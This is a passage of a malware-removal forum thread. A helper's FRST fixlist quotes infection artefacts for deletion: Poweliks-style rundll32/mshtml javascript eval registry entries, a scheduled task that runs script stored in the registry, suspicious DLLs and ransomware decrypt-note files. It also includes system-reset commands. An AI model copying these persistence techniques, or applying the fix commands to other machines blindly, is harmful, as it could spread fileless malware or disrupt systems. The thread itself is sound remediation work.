Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\ProgramData\{9CAD18B2-FF9B-4CCA-8EE0-A4CDA3AD5F51}\dbghelp.dll that did not meet the Windows signing level requirements.

Date: 2015-07-28 15:30:30.306

Date: 2015-07-28 15:21:42.300

Date: 2015-07-28 13:44:43.259

Date: 2015-07-28 13:35:12.748

Date: 2015-07-28 13:15:16.739

Date: 2015-07-27 20:46:48.220

Date: 2015-07-27 19:37:12.957

Date: 2015-07-27 19:29:33.384

Date: 2015-07-27 08:13:30.141

==================== Memory info ===========================

Processor: AMD E-300 APU with Radeon™ HD Graphics

Percentage of memory in use: 34%

Total physical RAM: 3682.26 MB

Available physical RAM: 2398 MB

Total Virtual: 4386.26 MB

Available Virtual: 2443.11 MB

==================== Drives ================================

Drive c: () (Fixed) (Total:273.49 GB) (Free:230.16 GB) NTFS ==>[system with boot components (obtained from reading drive)]

Drive d: (RECOVERY) (Fixed) (Total:23.39 GB) (Free:2.82 GB) NTFS ==>[system with boot components (obtained from reading drive)]

==================== MBR & Partition Table ==================

========================================================

Disk: 0 (Size: 298.1 GB) (Disk ID: 1E1F4777)

Partition: GPT Partition Type.

==================== End of log ============================

#2
Pyxis

Posted 28 July 2015 - 11:32 PM

Trusted Helper

Malware Removal
1,228 posts

Greetings,

Welcome to Geeks to Go--the friendliest online community dedicated to the sole goal of helping people from all around the world!

I am Pyxis and I will be assisting you. As such, I would like to stress the following reminders:

It is important that you do not install anything unless asked while the process is ongoing. Doing so may hinder or even complicate the cleaning of your system. You will get the chance to install things as you would like after the process has been completed.
Ensure you take extra caution to precisely follow my instructions. Please only use the tools I have asked you to. The instructions for your computer are unique and should therefore only apply to your system.
Since the cleaning process is quite delicate, your timely response is crucial. Topics are marked inactive and thus closed within 3 full days of no activity. If you deem I have overlooked your thread--which is in a matter of more than 48 hours--please send me a PM and I will get back to you shortly.

I hope you keep in mind these reminders. Let's get to work! :thumbsup:

Step 1

Copy and paste the following into Notepad and save as fixlist.txt to your desktop:

CloseProcesses:
EmptyTemp:

HKLM-x32\...\Run: [{b090579d-244c-e682-7cd6-e6daa5c7aff0}] => "C:\ProgramData\Microsoft\{b090579d-244c-e682-7cd6-e6daa5c7aff0}\{b090579d-244c-e682-7cd6-e6daa5c7aff0}.exe"
HKLM Group Policy restriction on software: C:\Program Files\Symantec <====== ATTENTION
HKLM Group Policy restriction on software: C:\Program Files\Common Files\Symantec Shared <====== ATTENTION
HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore: [DisableSR/DisableConfig]  <===== ATTENTION
HKU\S-1-5-21-2321640021-2341620851-140482586-1002\...\Run: [ivijios] => rundll32 "C:\Users\Richie\AppData\Local\ivijios.dll",ivijios <===== ATTENTION
HKU\S-1-5-21-2321640021-2341620851-140482586-1002\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktds (the data entry has 239 more characters). <==== Poweliks!
HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{eedc51b2-9627-4964-8aab-3c12119ef845} <======= ATTENTION (Policy restriction on IP)
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://g.msn.com/HPNOT13/1
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://g.msn.com/HPNOT13/1
HKU\S-1-5-21-2321640021-2341620851-140482586-1002\Software\Microsoft\Internet Explorer\Main,Start Page = http://g.msn.com/HPNOT13/1
HKU\S-1-5-21-2321640021-2341620851-140482586-1002\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://g.msn.com/HPNOT13/1
SearchScopes: HKLM -> {2fa28606-de77-4029-af96-b231e3b8f827} URL = http://search.ask.co...&l=dis&o=HPNTDF
SearchScopes: HKLM -> {b7fca997-d0fb-4fe0-8afd-255e89cf9671} URL = http://search.yahoo....psg&type=HPNTDF
SearchScopes: HKLM -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = http://rover.ebay.co...54371-11896-2/4?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}
SearchScopes: HKLM-x32 -> {2fa28606-de77-4029-af96-b231e3b8f827} URL = http://search.ask.co...&l=dis&o=HPNTDF
SearchScopes: HKLM-x32 -> {b7fca997-d0fb-4fe0-8afd-255e89cf9671} URL = http://search.yahoo....psg&type=HPNTDF
SearchScopes: HKLM-x32 -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = http://rover.ebay.co...54371-11896-2/4?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}
SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = http://www.bing.com/...q={searchTerms}
SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = http://www.bing.com/...q={searchTerms}
SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> {2fa28606-de77-4029-af96-b231e3b8f827} URL = http://search.ask.co...&l=dis&o=HPNTDF
SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> {b7fca997-d0fb-4fe0-8afd-255e89cf9671} URL = http://search.yahoo....psg&type=HPNTDF
SearchScopes: HKU\S-1-5-21-2321640021-2341620851-140482586-1002 -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = http://rover.ebay.co...54371-11896-2/4?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}
2015-07-17 10:59 - 2015-07-17 10:59 - 00266240 _____ C:\Users\Richie\AppData\Roaming\7afd7914.dll
2015-07-14 08:21 - 2015-07-20 08:35 - 00000000 ___HD C:\7afd7914
2015-07-13 15:33 - 2015-07-13 15:33 - 00000000 ____D C:\ProgramData\{18165758-115C-4DC0-9EC2-FF89F725767F}
2015-07-10 15:34 - 2015-07-28 13:17 - 00000000 ____D C:\Users\Richie\AppData\Local\{beedd195-7534-c93e-bcaf-0a2671d4725d}
2015-07-10 15:34 - 2015-07-10 15:34 - 00000000 ___HD C:\ProgramData\{F66CB4EE-546F-4D54-9332-216DE189AAB0}
2015-07-28 13:17 - 2014-12-06 22:56 - 00000000 ____D C:\ProgramData\LeboBukmo
2015-07-28 13:17 - 2014-11-26 00:56 - 00000000 ____D C:\Users\Richie\AppData\Roaming\FrameworkUpdate
2015-07-28 13:17 - 2014-11-21 00:32 - 00000000 ____D C:\ProgramData\IomuTdilf
2015-07-28 13:17 - 2014-11-11 19:24 - 00000000 ____D C:\Users\Richie\AppData\Roaming\FrameworkUpdate7
2015-07-28 13:17 - 2014-11-11 19:24 - 00000000 ____D C:\ProgramData\XesviPteyu
2015-07-28 13:17 - 2014-11-11 19:24 - 00000000 ____D C:\ProgramData\IojdOnyo
2015-07-28 13:17 - 2014-11-09 01:59 - 00000000 ____D C:\ProgramData\XiboHbik
2015-07-28 13:17 - 2014-11-09 01:59 - 00000000 ____D C:\ProgramData\EoxoKazxa
2015-07-28 13:17 - 2014-11-07 20:16 - 00000000 ____D C:\ProgramData\RogoLatk
2015-07-28 13:17 - 2014-11-07 20:15 - 00000000 ____D C:\ProgramData\BoweCpeb
2015-07-28 11:47 - 2014-11-05 01:20 - 00000000 ____D C:\ProgramData\HezagTonag
2015-07-10 14:50 - 2013-06-06 20:07 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Shopping and Services
2015-07-10 14:50 - 2012-08-17 14:05 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Security and Protection
2015-07-08 07:59 - 2014-12-13 10:58 - 00000000 ____D C:\Users\Richie\AppData\Roaming\Ecidcuo
2015-07-08 07:59 - 2014-12-06 22:58 - 00000000 ____D C:\Users\Richie\AppData\Roaming\Evcoguyl
2015-07-08 07:59 - 2014-11-21 00:33 - 00000000 ____D C:\Users\Richie\AppData\Roaming\Urablax
2015-07-17 10:59 - 2015-07-17 10:59 - 0266240 _____ () C:\Users\Richie\AppData\Roaming\7afd7914.dll
2014-11-11 19:33 - 2014-11-11 19:33 - 0008516 _____ () C:\Users\Richie\AppData\Roaming\DECRYPT_INSTRUCTION.HTML
2014-11-11 19:33 - 2014-11-11 19:33 - 0004198 _____ () C:\Users\Richie\AppData\Roaming\DECRYPT_INSTRUCTION.TXT
2014-11-11 19:33 - 2014-11-11 19:33 - 0000268 _____ () C:\Users\Richie\AppData\Roaming\DECRYPT_INSTRUCTION.URL
2015-01-29 00:25 - 2015-01-29 00:25 - 0008528 _____ () C:\Users\Richie\AppData\Roaming\HELP_DECRYPT.HTML
2015-01-29 00:25 - 2015-01-29 00:25 - 0045533 _____ () C:\Users\Richie\AppData\Roaming\HELP_DECRYPT.PNG
2015-01-29 00:25 - 2015-01-29 00:25 - 0004204 _____ () C:\Users\Richie\AppData\Roaming\HELP_DECRYPT.TXT
2015-01-29 00:25 - 2015-01-29 00:25 - 0000272 _____ () C:\Users\Richie\AppData\Roaming\HELP_DECRYPT.URL
2014-11-11 19:24 - 2014-11-11 19:24 - 0000448 ____H () C:\Users\Richie\AppData\Roaming\麽鎒駓覜
2014-11-11 19:33 - 2014-11-11 19:33 - 0008516 _____ () C:\Users\Richie\AppData\Local\DECRYPT_INSTRUCTION.HTML
2014-11-11 19:33 - 2014-11-11 19:33 - 0004198 _____ () C:\Users\Richie\AppData\Local\DECRYPT_INSTRUCTION.TXT
2014-11-11 19:33 - 2014-11-11 19:33 - 0000268 _____ () C:\Users\Richie\AppData\Local\DECRYPT_INSTRUCTION.URL
2015-01-29 00:24 - 2015-01-29 00:24 - 0008528 _____ () C:\Users\Richie\AppData\Local\HELP_DECRYPT.HTML
2015-01-29 00:24 - 2015-01-29 00:24 - 0045533 _____ () C:\Users\Richie\AppData\Local\HELP_DECRYPT.PNG
2015-01-29 00:24 - 2015-01-29 00:24 - 0004204 _____ () C:\Users\Richie\AppData\Local\HELP_DECRYPT.TXT
2015-01-29 00:24 - 2015-01-29 00:24 - 0000272 _____ () C:\Users\Richie\AppData\Local\HELP_DECRYPT.URL
2014-11-11 19:24 - 2015-01-28 23:26 - 0000664 _____ () C:\ProgramData\@system.temp
2014-11-11 19:25 - 2015-01-28 23:27 - 0000400 ____H () C:\ProgramData\@system3.att
CustomCLSID: HKU\S-1-5-21-2321640021-2341620851-140482586-1002_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktds (the data entry has 247 more characters). <==== Poweliks?
Task: {42606C78-3E7A-474E-9FB5-D30D039784CB} - System32\Tasks\GoogleUpdater => Rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write((new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\internet explorer\\zergling_rush"))
Task: {F5715D4F-B262-4590-8487-ACEB028F19D5} - System32\Tasks\autochk => C:\Users\Richie\AppData\Roaming\Microsoft\Windows\IEUpdate\autochk.exe <==== ATTENTION
C:\users\richie\appdata\roaming\microsoft\windows\ieupdate
C:\users\richie\appdata\local\svcxdcl32.exe
HKLM\...\StartupApproved\Run32: => "{b090579d-244c-e682-7cd6-e6daa5c7aff0}"
HKU\S-1-5-21-2321640021-2341620851-140482586-1002\...\StartupApproved\Run: => "{beedd195-7534-c93e-bcaf-0a2671d4725d}"
HKU\S-1-5-21-2321640021-2341620851-140482586-1002\...\StartupApproved\Run: => "Svc2dll"

RemoveProxy:
CMD: bitsadmin /reset /allusers
CMD: netsh advfirewall reset
CMD: netsh advfirewall set allprofiles state ON

Run your copy of FRST. It is important to ensure it is located in your desktop.
Press the Fix button.
It will produce a log (fixlog.txt) once done.
Copy (CTRL + A and CTRL + C) and paste (CTRL + V) the content of the log in your next reply.

Step 2

Open System Configuration by following the steps below.
- Press the Windows and R buttons together. The Run prompt should appear.
- Type in msconfig and press OK.
- Navigate to the Startup tab > Enable All > Apply > OK.
- You will be prompted to restart. Do not allow it by choosing Exit without restart.

Step 3

Run your copy of FRST by double-clicking it.
- Put a check on Addition.
- Press the Scan button after.
- It will produce FRST.txt and Addition.txt on your desktop once done.
- Copy (CTRL + A and CTRL + C) and paste (CTRL + V) the content of the logs in your next reply.

Logs to Post

In summary of the above, I will need you to post the following log(s):
- Addition.txt (Farbar Recovery Scan Tool)
- FRST.txt (Farbar Recovery Scan Tool)
- fixlog.txt (Farbar Recovery Scan Tool)

#3
smwifey

Posted 29 July 2015 - 06:55 PM

Member

Topic Starter
Member
85 posts

All steps completed and here are the logs.

Thanks for the help

Additional scan result of Farbar Recovery Scan Tool (x64) Version:28-07-2015

Ran by Richie (2015-07-29 20:49:00)

Running from C:\Users\Richie\Desktop